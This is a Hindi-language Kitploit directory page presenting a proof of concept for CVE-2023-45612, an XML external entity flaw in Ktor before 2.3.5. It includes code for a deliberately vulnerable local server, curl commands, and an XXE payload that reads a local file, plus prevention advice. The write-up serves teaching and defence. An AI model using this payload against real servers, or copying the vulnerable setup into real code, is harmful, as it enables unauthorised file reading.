Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ktor-xxe-poc — यह रिपॉजिटरी CVE-2023-45612 के लिए एक प्रूफ ऑफ कॉन्सेप्ट प्रदान करता है, जो JetBrains Ktor के 2.3.5 से पहले के संस्करणों में एक XML बाहरी एंटिटी (XXE) इंजेक्शन भेद्यता प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/razvanclaudiu/ktor-xxe-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubrazvanclaudiu/ktor-xxe-poc

ktor-xxe-poc

यह रिपॉजिटरी CVE-2023-45612 के लिए एक प्रूफ ऑफ कॉन्सेप्ट प्रदान करता है, जो JetBrains Ktor के 2.3.5 से पहले के संस्करणों में एक XML बाहरी एंटिटी (XXE) इंजेक्शन भेद्यता प्रदर्शित करता है।

रिपॉजिटरी देखें
10 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-45612: JetBrains Ktor XXE प्रमाण-अवधारणा

यह रिपॉजिटरी CVE-2023-45612 में पहचाने गए XML एक्सटर्नल एंटिटी (XXE) इंजेक्शन कमजोरी को प्रदर्शित करने के लिए एक कमजोर Ktor सर्वर शामिल करता है।

यह कमजोरी Ktor संस्करण 2.3.5 से पहले मौजूद है जब ContentNegotiation प्लगइन का उपयोग डिफ़ॉल्ट xml() सीरियलाइज़र के साथ किया जाता है। डिफ़ॉल्ट XML पार्सर को बाहरी संस्थाओं के समाधान को रोकने के लिए कॉन्फ़िगर नहीं किया गया था, जिससे हमलावर सर्वर से मनमानी फ़ाइलें पढ़ सकते हैं।

निम्नलिखित अनुभाग आपके अपने पर एक्सप्लॉइट को पुनः बनाने के चरण हैं।

आवश्यक शर्तें

इस PoC के लिए मैंने जो संस्करण उपयोग किए:

  • IntelliJ IDEA 2025.2.3
  • JDK 21
  • Gradle 8.14
  • Ktor 2.3.4

सेटअप

IntelliJ IDEA में Netty इंजन, Gradle Kotlin और Ktor संस्करण 2.3.4 (या उससे पहले के संस्करण) के साथ एक Ktor प्रोजेक्ट बनाएं।

build.gradle.kts के अंदर आपको निम्नलिखित प्लगइन शामिल करना होगा:

root@kitploit:~
kotlin("plugin.serialization") version "2.2.20"

और ये निर्भरताएँ;

root@kitploit:~
implementation("io.ktor:ktor-server-content-negotiation")  
implementation("io.ktor:ktor-serialization-kotlinx-xml")

कोड

Application.kt में सर्वर शुरू करने के लिए मुख्य फ़ंक्शन और इसे कॉन्फ़िगर करने के लिए module() फ़ंक्शन होना चाहिए। डिफ़ॉल्ट रूप से, xml() फ़ंक्शन एक XML पार्सर प्रारंभ करता है जो बाहरी संस्था प्रसंस्करण की अनुमति देता है।

root@kitploit:~
fun Application.module() {
    install(ContentNegotiation) {
          xml() 
    }
    configureRouting()
}

Routing.kt को एंडपॉइंट परिभाषित करना चाहिए जो दुर्भावनापूर्ण XML प्राप्त करेगा और पार्स करेगा।

root@kitploit:~
@Serializable
data class Message(
    @XmlElement
    val message: String
)
  
  
fun Application.configureRouting() {
    routing {
        post("/message") {
              try {
                  val receivedMessage = call.receive<Message>()
                  call.respondText("Message received: ${receivedMessage.message}")
              } catch (e: Exception) {
                  call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
              }
        }
    }
}

कैसे चलाएं

एप्लिकेशन बनाएं और सर्वर शुरू करें।

root@kitploit:~
./gradlew build
./gradlew run

एंडपॉइंट का परीक्षण करने के लिए, hello_message.xml नामक एक XML फ़ाइल बनाएं।

root@kitploit:~
<Message>  
	 <message>Hello, world!</message>  
</Message>

आप इसे निम्नलिखित curl (Windows पर) के साथ निष्पादित कर सकते हैं:

root@kitploit:~
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'

और सफल होने पर आपको निम्नलिखित संदेश मिलना चाहिए:

root@kitploit:~
Message received: Hello, world!

कैसे शोषण करें

secret_file.txt बनाएं जिसमें कुछ टेक्स्ट हो। अंदर की जानकारी वही है जो हम अपने एक्सप्लॉइट से प्राप्त करना चाहते हैं।

exploit_message.xml नामक एक फ़ाइल बनाएं। इसकी सामग्री को secret_file.txt फ़ाइल की सामग्री के रूप में एक बाहरी संस्था &xxe; को परिभाषित करना चाहिए और फिर उस संस्था का उपयोग <message> टैग के अंदर करना चाहिए।

root@kitploit:~
<!DOCTYPE Message [  
        <!ENTITY xxe SYSTEM "secret_file.txt">  
        ]>  
<Message>  
	 <message>&xxe;</message>  
</Message>

चल रहे सर्वर पर निम्नलिखित curl कमांड (Windows पर) निष्पादित करें:

root@kitploit:~
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'

सर्वर secret_file.txt फ़ाइल को पढ़ेगा और HTTP प्रतिक्रिया में इसकी सामग्री वापस भेजेगा:

root@kitploit:~
Message received: XXE was a success.

रोकथाम दिशानिर्देश

Ktor को अपडेट करें

सबसे प्रभावी समाधान Ktor को संस्करण 2.3.5 या बाद में अपडेट करना है। वे एक सुरक्षित रूप से कॉन्फ़िगर किए गए डिफ़ॉल्ट XML पार्सर का उपयोग करते हैं जो डिफ़ॉल्ट रूप से दस्तावेज़ प्रकार परिभाषा प्रसंस्करण और बाहरी संस्थाओं को अक्षम करता है, जो सीधे इस XXE हमले को रोकता है। वैकल्पिक रूप से, आप XML पार्सर को मैन्युअल रूप से भी कॉन्फ़िगर कर सकते हैं।

सख्त इनपुट सत्यापन लागू करें

रक्षा की एक अतिरिक्त परत के रूप में, कच्चे अनुरोध निकाय को सादे टेक्स्ट के रूप में पढ़ें और यदि इसमें <!DOCTYPE या <!ENTITY जैसे संदिग्ध कीवर्ड शामिल हैं, तो पार्सर तक पहुंचने से पहले ही इसे अस्वीकार कर दें।

एक अलग सीरियलाइज़ेशन प्रारूप का उपयोग करें

यह कमजोरी XML पार्सिंग के लिए विशिष्ट है। यदि आपके एप्लिकेशन की आवश्यकताएं लचीली हैं, तो सबसे सुरक्षित परिवर्तन XML को पूरी तरह से टालना और एक ऐसे प्रारूप का उपयोग करना है जिसमें इस प्रकार की कमजोरी न हो, जैसे JSON।

ज्ञात कमजोरियों के विरुद्ध कोड का परीक्षण करें

अपनी लाइब्रेरीज़ में ज्ञात कमजोरियों की जाँच करके और सामान्य शोषणों के लिए अपने ऐप का परीक्षण करके सक्रिय रूप से सुरक्षा दोषों को खोजने का प्रयास करें।

टूल डाउनलोड करें